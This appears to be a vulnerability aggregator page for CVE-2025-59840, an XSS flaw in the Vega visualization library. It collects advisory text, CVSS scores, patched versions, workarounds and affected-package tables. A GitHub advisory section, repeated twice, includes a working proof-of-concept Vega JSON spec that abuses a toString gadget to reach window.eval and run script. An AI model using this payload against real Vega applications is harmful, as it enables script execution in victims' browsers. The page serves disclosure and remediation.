CVE-2025-59840
Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable
Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.1
Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable
Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.
- Record
CVE-2025-59840- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2025-175359
8.1
Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.
- Record
EUVD-2025-175359- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7f2v-3qq3-vvjf
8.1
Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable
Impact
Applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.
- Use
vegain an application that attachesvegalibrary and avega.Viewinstance similar to the Vega Editor to the globalwindow - Allow user-defined Vega
JSONdefinitions (vs JSON that was is only provided through source code)
Patches
- If using latest Vega line (6.x)
vega6.2.0/vega-expression6.1.0/vega-interpreter2.2.1(if using AST evaluator mode)
- If using Vega in a non-ESM environment
- (
vega-expression5.2.1/1.2.1(if using AST evaluator mode)
- (
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading
- Do not attach
vegaView instances to global variables, as Vega editor used to do here - Do not attach
vegato the global window as the editor used to do here
These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.
POC Summary
Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling this.foo(this.bar), DOM XSS can be achieved.
In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.
({
toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,
eventName: event.view.console.log,
_handlers: {
undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
},
_handlerIndex: event.view.eval
})+1
POC Details
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"width": 350,
"height": 350,
"autosize": "none",
"description": "Toggle Button",
"signals": [
{
"name": "toggle",
"value": true,
"on": [
{
"events": {"type": "click", "markname": "circle"},
"update": "toggle ? false : true"
}
]
},
{
"name": "addFilter",
"on": [
{
"events": {"type": "mousemove", "source": "window"},
"update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
}
]
}
]
}
This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:
on(a, o) {
const u = this.eventName(a)
, d = this._handlers;
if (this._handlerIndex(d[u], a, o) < 0) {
....
}
....
}
- Set
uto the result of callingthis.eventNamewith undefined- For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
- Sets
dtothis._handlers- For our object, we have this defined to be used later
- Calls
this._handlerIndexwith the result ofuindexed into thedobject as the first argument, and undefined as the second two.- For our object,
_handlerIndexis set to window.eval, and when indexing undefined…
- For our object,
- Record
GHSA-7f2v-3qq3-vvjf- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
8.1
Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.
- Record
CVE-2025-59840- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
8.1
Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable
Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.
- Record
CVE-2025-59840- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2025-59840
8.1
Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.
- Record
DEBIAN-CVE-2025-59840- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVGHSA-7f2v-3qq3-vvjf
8.1
Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable
Impact
Applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.
- Use
vegain an application that attachesvegalibrary and avega.Viewinstance similar to the Vega Editor to the globalwindow - Allow user-defined Vega
JSONdefinitions (vs JSON that was is only provided through source code)
Patches
- If using latest Vega line (6.x)
vega6.2.0/vega-expression6.1.0/vega-interpreter2.2.1(if using AST evaluator mode)
- If using Vega in a non-ESM environment
- (
vega-expression5.2.1/1.2.1(if using AST evaluator mode)
- (
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading
- Do not attach
vegaView instances to global variables, as Vega editor used to do here - Do not attach
vegato the global window as the editor used to do here
These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.
POC Summary
Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling this.foo(this.bar), DOM XSS can be achieved.
In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.
({
toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,
eventName: event.view.console.log,
_handlers: {
undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
},
_handlerIndex: event.view.eval
})+1
POC Details
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"width": 350,
"height": 350,
"autosize": "none",
"description": "Toggle Button",
"signals": [
{
"name": "toggle",
"value": true,
"on": [
{
"events": {"type": "click", "markname": "circle"},
"update": "toggle ? false : true"
}
]
},
{
"name": "addFilter",
"on": [
{
"events": {"type": "mousemove", "source": "window"},
"update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
}
]
}
]
}
This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:
on(a, o) {
const u = this.eventName(a)
, d = this._handlers;
if (this._handlerIndex(d[u], a, o) < 0) {
....
}
....
}
- Set
uto the result of callingthis.eventNamewith undefined- For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
- Sets
dtothis._handlers- For our object, we have this defined to be used later
- Calls
this._handlerIndexwith the result ofuindexed into thedobject as the first argument, and undefined as the second two.- For our object,
_handlerIndexis set to window.eval, and when indexing undefined…
- For our object,
- Record
GHSA-7f2v-3qq3-vvjf- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-59840
8.1
Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window and if they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode). Some workarounds are available. Do not attach vega View instances to global variables, and do not attach vega to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.
- Record
UBUNTU-CVE-2025-59840- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vega-expressionnpm |
6.0.0 up to 6.1.0 | 6.1.0 |
vega-interpreternpm |
2.0.0 up to 2.2.1 | 2.2.1 |
vega-interpreternpm |
before 1.2.1 | 1.2.1 |
vega-expressionnpm |
before 5.2.1 | 5.2.1 |
veganpm |
before 6.2.0 | 6.2.0 |
vega.jsDebian:12 |
All versions, plus listed versions 5.22.1+ds+~3.1.0-45.25.0+ds+~cs5.3.0-15.25.0+ds+~cs5.3.0-25.25.0+ds+~cs5.3.0-35.25.0+ds+~cs5.3.0-4 Show 8 moreShow less5.25.0+ds+~cs5.3.0-55.28.0+ds+~cs5.3.0-15.28.0+ds+~cs5.3.0-25.28.0+ds+~cs5.3.0-35.33.1+ds+~cs5.3.0-15.33.1+ds+~cs5.3.0-25.33.1+ds+~cs5.3.0-35.33.1+ds+~cs5.3.0-4 |
None known |
vega.jsDebian:13 |
All versions, plus listed versions 5.28.0+ds+~cs5.3.0-15.28.0+ds+~cs5.3.0-25.28.0+ds+~cs5.3.0-35.33.1+ds+~cs5.3.0-15.33.1+ds+~cs5.3.0-25.33.1+ds+~cs5.3.0-35.33.1+ds+~cs5.3.0-4 |
None known |
vega.jsDebian:14 |
before 5.33.1+ds+~cs5.3.0-4, plus listed versions 5.28.0+ds+~cs5.3.0-15.28.0+ds+~cs5.3.0-25.28.0+ds+~cs5.3.0-35.33.1+ds+~cs5.3.0-15.33.1+ds+~cs5.3.0-25.33.1+ds+~cs5.3.0-3 |
5.33.1+ds+~cs5.3.0-4 |
vega.jsUbuntu:24.04:LTS |
All versions, plus listed versions 5.25.0+ds+~cs5.3.0-25.25.0+ds+~cs5.3.0-5 |
None known |
vega.jsUbuntu:25.10 |
All versions, plus listed versions 5.28.0+ds+~cs5.3.0-1 |
None known |
vega.jsUbuntu:26.10 |
All versions, plus listed versions 5.28.0+ds+~cs5.3.0-25.33.1+ds+~cs5.3.0-4 |
None known |
vega.jsUbuntu:26.04:LTS |
All versions, plus listed versions 5.28.0+ds+~cs5.3.0-15.28.0+ds+~cs5.3.0-2 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-59840 is a high vulnerability (CVSS 8.1) in Vega, published November 13, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.42%, the 36th percentile. Fixed in vega-expression 6.1.0.
References
github.com/vega/vega/security/advisories/GHSA-7f2v-3qq3-vvjf
nvd.nist.gov/vuln/detail/CVE-2025-59840
github.com/vega/editor/blob/e102355589d23cdd0dbfd607a2cc5f9c5b7a4c55/src/components/renderer/renderer.tsx
github.com/vega/editor/blob/e102355589d23cdd0dbfd607a2cc5f9c5b7a4c55/src/index.tsx
vega.github.io/editor
vega.github.io/vega/usage/interpreter
Left out here: the rest of 2 source descriptions. The JSON record has them.